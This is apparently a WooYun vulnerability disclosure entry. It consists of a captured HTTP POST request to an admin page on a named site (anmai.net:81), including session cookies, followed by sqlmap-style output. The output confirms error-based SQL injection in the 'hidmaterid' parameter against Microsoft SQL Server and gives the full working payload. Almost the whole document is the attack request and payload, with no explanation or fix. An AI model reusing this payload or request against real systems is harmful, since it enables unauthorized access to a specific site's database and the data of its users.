WooYun.org

POST /ST_Manage/SystemManage/MaterialSetting.aspx HTTP/1.1
Host: anmai.net:81
Proxy-Connection: keep-alive
Content-Length: 837
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://anmai.net:81
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://anmai.net:81/ST_Manage/SystemManage/MaterialSetting.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: %d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4=%d2%ec%b6%af%c9%be%b3%fd%a1%a2%d0%de%b8%c4%7cSF_Manage%2findex.aspx%3ftype%3d4%26a%3d2; %cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2=%cf%fb%b7%d1%bc%c7%c2%bc%d0%c5%cf%a2%7cSF_Manage%2findex.aspx%3ftype%3d2%26a%3d5; %bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed=%bc%f5%c3%e2%c8%cb%d4%b1%c1%d0%b1%ed%7cSF_Manage%2findex.aspx%3ftype%3d3%26a%3d4; ASP.NET_SessionId=trqrt52wfcm2342nhvjzwx45; ASPSESSIONIDASDDACDA=ALJPFGODEGILBMFOALMMAPPC; %bd%cc%b2%c4%c9%e8%d6%c3=%bd%cc%b2%c4%c9%e8%d6%c3%7cST_Manage%2fSystemManage%2fSysDefault.aspx%3ftype%3d1
__VIEWSTATE=dDwxNDAxMjMzNjQ5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8bDxpbm5lcmh0bWw7PjtsPFw8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazAnIHZhbHVlPScxMCdcPuWInemihOWkh%2BePrSZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGsxJyB2YWx1ZT0nMTEnXD7liJ3kuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrMicgdmFsdWU9JzEyJ1w%2B5Yid5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazMnIHZhbHVlPScxMydcPuWIneS4ieW5tOe6pyZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGs0JyB2YWx1ZT0nMTQnXD7pq5jkuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrNScgdmFsdWU9JzE1J1w%2B6auY5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazYnIHZhbHVlPScxNidcPumrmOS4ieW5tOe6pyZuYnNwXDs7Pj47Oz47Pj47Pj47Psrc5BRj5j0R9a%2F9WF0W0xI8wS2b&action1=doAdd&hidmaterid=&txtid=&txtjiaocainame=aaaa&chk1=11

Place: POST
Parameter: hidmaterid
    Type: error-based
    Title: Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=dDwxNDAxMjMzNjQ5O3Q8O2w8aTwxPjs O2w8dDw7bDxpPDU Oz47bDx
0PHA8bDxpbm5lcmh0bWw7PjtsPFw8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazAnIHZhbHV
lPScxMCdcPuWInemihOWkh ePrSZuYnNwXDtcPGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdjaGs
xJyB2YWx1ZT0nMTEnXD7liJ3kuIDlubTnuqcmbmJzcFw7XDxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmF
tZT0nY2hrMicgdmFsdWU9JzEyJ1w 5Yid5LqM5bm057qnJm5ic3BcO1w8aW5wdXQgdHlwZT0nY2hlY2t
ib3gnIG5hbWU9J2NoazMnIHZhbHVlPScxMydcPuWIneS4ieW5tOe6pyZuYnNwXDtcPGlucHV0IHR5cGU
9J2NoZWNrYm94JyBuYW1lPSdjaGs0JyB2YWx1ZT0nMTQnXD7pq5jkuIDlubTnuqcmbmJzcFw7XDxpbnB
1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nY2hrNScgdmFsdWU9JzE1J1w 6auY5LqM5bm057qnJm5ic3B
cO1w8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2NoazYnIHZhbHVlPScxNidcPumrmOS4ieW5tOe
6pyZuYnNwXDs7Pj47Oz47Pj47Pj47Psrc5BRj5j0R9a/9WF0W0xI8wS2b&action1=doAdd&hidmater
id=-2193' OR 2848=CONVERT(INT,(CHAR(58) CHAR(120) CHAR(122) CHAR(116) CHAR(58) (
SELECT (CASE WHEN (2848=2848) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(11
5) CHAR(122) CHAR(107) CHAR(58))) AND 'XCru'='XCru&txtid=&txtjiaocainame=aaaa&ch
k1=11
---